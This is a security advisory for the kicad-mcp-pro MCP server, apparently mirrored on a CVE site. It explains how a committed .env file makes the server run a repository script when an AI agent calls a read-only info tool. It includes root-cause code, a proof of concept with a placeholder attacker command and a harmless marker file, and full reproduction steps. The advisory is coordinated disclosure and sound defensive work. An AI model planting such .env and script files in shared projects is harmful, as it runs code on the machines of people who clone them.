# GHSA-735W-Q533-JX2W: Untrusted KiCad project configuration can trigger local code execution

- Database: GitHub
- Severity: CVSS 8.4 (High)
- Published: 2026-11-21
- Modified: 2026-11-21

## Affected versions

- kicad-mcp-pro (PyPI): from 3.15.0, fixed in 4.21.3
- kicad-mcp-pro (npm): from 3.15.0, fixed in 4.21.3

## Description

### Maintainer assessment and interim guidance (2026-11-21)

**Status:** Fixed release **4.21.3** is published and independently verified in both the PyPI and npm official registries, including Windows execution smoke tests. Versions up to and including **4.21.2 remain vulnerable**; upgrade to **4.21.3 or later**.

**Affected:** PyPI and npm distributions of kicad-mcp-pro, from 3.15.0 through 4.21.2 inclusive. The reporter independently verified the exploit against 4.21.1 and 4.21.2; maintainers traced the risky configuration and CLI invocation paths to the oldest available 3.15.0 release sources. The vulnerability requires the MCP server to start with a malicious repository as its current working directory and subsequently invoke the configured or auto-discovered CLI. This is user-privilege local code execution, not an unauthenticated remote Cloud service exploit.

**Interim mitigation:** Until the fixed package is available, do not start affected MCP server versions from untrusted project checkout directories. Use a trusted, separately controlled server working directory and a legitimate absolute-path KiCad CLI outside the untrusted project. Do not rely on the KICAD_CLI_PATH environment alias alone: the vulnerable implicit .env loading can take precedence.

**Remediation:** Upgrade **kicad-mcp-pro** (PyPI or npm) to **4.21.3 or later**. The fix removes implicit current-working-directory .env ingestion, rejects relative or project-controlled KiCad CLI executables, avoids Windows current-directory executable discovery, and applies the same trust boundary to native DRC.

**Credit:** Gitlab-ThreatResearch (reporter; accepted credit). Thank you for the coordinated private disclosure and reproducible report.

---

### Original researcher report (preserved)

### Summary

kicad-mcp-pro reads `.env` from its working directory through pydantic-settings (`env_file=".env"`, prefix `KICAD_MCP_`). The threat model says `kicad-cli` is a trusted component that the operator configures through `KICAD_MCP_KICAD_CLI`, and that the project directory is only the I/O scope. But a project's `.env` can set `KICAD_MCP_KICAD_CLI=bin/kicad-cli`. When the server runs in a cloned project, the read-only `kicad_get_server_info` tool then runs the repository's `bin/kicad-cli` to read its version. The `.env` value also wins over a user-set `KICAD_CLI_PATH`. Severity: high.

### Details

### Root cause

At tag `mcp-server-v4.21.2` (`6a6a447abcd822795b1b6866a53b03ddaa0821f0`). The same code is in `mcp-server-v4.21.1` (`eca22153d66eb3e3e67eda4a0ae718a1ecd5d1bb`).

- `KiCadMCPConfig` (`src/kicad_mcp/config.py:46-61`) is a pydantic-settings model with `env_prefix="KICAD_MCP_"` and `env_file=".env"`. pydantic-settings resolves a relative `env_file` against the process working directory. The `kicad_cli` field is the binary the server runs.
- `_apply_env_aliases` (`config.py:195-218`) reads `KICAD_CLI_PATH` only when `kicad_cli` is not already set. A value from `.env` is already set, so it wins over the user's `KICAD_CLI_PATH`.
- `_validate_kicad_cli` (`config.py:368-379`) only warns when the path does not exist. It accepts a relative path inside the project.
- `kicad_get_server_info` (`src/kicad_mcp/resources/server_info.py:20-25`, also the `kicad://server/info` resource at `:15-18`) calls `get_server_info_contract()`. That calls `_cached_cli_discovery(cfg.kicad_cli)` (`src/kicad_mcp/server_info.py:40`, `:168-183`), then `get_cli_capabilities`, which runs the binary:

```python
# src/kicad_mcp/discovery.py:166-175
def find_kicad_version(cli_path: Path) -> str | None:
    """Return the KiCad CLI version string."""
    try:
        result = subprocess.run(
            [str(cli_path), "--version"],
            capture_output=True,
            text=True,
            errors="replace",
            timeout=10,
            check=False,
```

The export, DRC and jobset tools run the same binary.

### Call path

The host starts `kicad-mcp-pro` with the project as its working directory. `KiCadMCPConfig()` reads `<cwd>/.env`, and `kicad_cli` becomes `bin/kicad-cli`. The agent then calls `kicad_get_server_info`, which runs `get_server_info_contract()`, then `_cached_cli_discovery()`, then `get_cli_capabilities()`. That runs `subprocess.run(["bin/kicad-cli", "--version"])`, and the payload runs. The install guide's `quickstart` also verifies the saved launch command with `kicad_get_server_info`. We did not test whether that run uses the project as its working directory.

### Versions

We tested 4.21.1 and 4.21.2, the current PyPI release, released 2026-11-20. We did not test earlier versions. No fixed version yet.

### Suggested fix

1. Do not read `.env` from the working directory. Set `env_file=None`, or read a file only from a path the operator names explicitly in the MCP client configuration.
2. Take `kicad_cli` only from the process environment or from discovery. Require an absolute path, and reject a path inside the project directory or the workspace root.
3. Add a regression test. Start the server in a directory whose `.env` sets `KICAD_MCP_KICAD_CLI=bin/kicad-cli`, where `bin/kicad-cli` writes a marker. Call `kicad_get_server_info` and assert that the marker does not appear.

### References

- `docs/security/threat-model.md`: "`kicad-cli` and the KiCad IPC endpoint are trusted local components, configured by the operator (`KICAD_MCP_KICAD_CLI`, socket env)", and "The active project directory is the trusted I/O scope."
- GHSA-x636-4cx8-qg64, GHSA-h93v-ccrj-58fw and GHSA-wfmg-598x-58c5 are path-confinement issues. This report is a different path: there the input comes from tool arguments and symlinks, here it comes from a committed `.env`.

### Proof of concept

The attacker commits two files.

`.env`:

```
KICAD_MCP_KICAD_CLI=bin/kicad-cli
```

`bin/kicad-cli` (executable):

```sh
#!/bin/sh
<attacker command>
echo "KiCad 9.0.0"
```

To confirm with a harmless marker, use Linux with Python 3.13 and `uv`. Save this minimal MCP client as `mcp-call.py`. It starts a server over stdio, as a host does, and calls one tool:

```python
import json, subprocess, sys
tool, args, cmd = sys.argv[1], json.loads(sys.argv[2]), sys.argv[3:]
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
def rpc(i, method, params):
    p.stdin.write(json.dumps({"jsonrpc": "2.0", "id": i, "method": method, "params": params}) + "\n"); p.stdin.flush()
    while True:
        m = json.loads(p.stdout.readline())
        if m.get("id") == i:
            return m
rpc(1, "initialize", {"protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "poc", "version": "0"}})
p.stdin.write(json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}) + "\n"); p.stdin.flush()
print(str(rpc(2, "tools/call", {"name": tool, "arguments": args}))[:200])
p.stdin.close(); p.wait(timeout=30)
```

Then run these steps:

```sh
mkdir kicad-poc && cd kicad-poc && git init -q
printf "KICAD_MCP_KICAD_CLI=bin/kicad-cli\n" > .env
mkdir bin && printf "#!/bin/sh\ntouch /tmp/kicad-mcp-pro-poc-marker\necho \"KiCad 9.0.0\"\n" > bin/kicad-cli && chmod +x bin/kicad-cli
git add -A && git -c user.email=poc@example.invalid -c user.name=poc commit -qm poc && cd ..
rm -f /tmp/kicad-mcp-pro-poc-marker
git clone -q kicad-poc victim && cd victim
python3 ../mcp-call.py kicad_get_server_info "{}" uvx kicad-mcp-pro@4.21.2 2>/dev/null
ls -l /tmp/kicad-mcp-pro-poc-marker
```

`/tmp/kicad-mcp-pro-poc-marker` exists, and the tool returns its normal result. With `.env` removed from the clone, the marker does not appear.

We confirmed arbitrary command execution against the released 4.21.1 package in an offline test. A minimal MCP client started the server over stdio in a fresh clone, then called `kicad_get_server_info`. The payload ran on each of three runs and did not run without the repository files. We also ran the steps above against 4.21.2 with network access, through `uvx`. KiCad itself was not installed. We did not test a specific MCP host, macOS or Windows.


### Impact

Arbitrary code execution (CWE-15, CWE-829). Some MCP hosts start the user's KiCad server in a project the user did not write. For those users, the project's script runs with the user's privileges on the first `kicad_get_server_info` call, or on any export, DRC or jobset tool that runs `kicad-cli`. The agent calls `kicad_get_server_info` to check the server's status, and the call is read-only. The script inherits the server's environment, including any KiCad IPC token the user set there. Hosts that start user stdio servers in the project directory include GitHub Copilot CLI, `codex exec`, goose and Cline.

The precondition is that the user has not set `KICAD_MCP_KICAD_CLI` in the server's environment. Setting `KICAD_CLI_PATH`, the alias that `docs/configuration.md` lists, does not stop the attack.

The attacker files are ordinary committed files, so they survive `git clone`. A shared KiCad project, a public hardware repository or a pull request branch can deliver them.

## References

- https://github.com/oaslananka/kicad-mcp-pro/security/advisories/GHSA-735w-q533-jx2w

Page: https://cve.now/GHSA-735W-Q533-JX2W

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
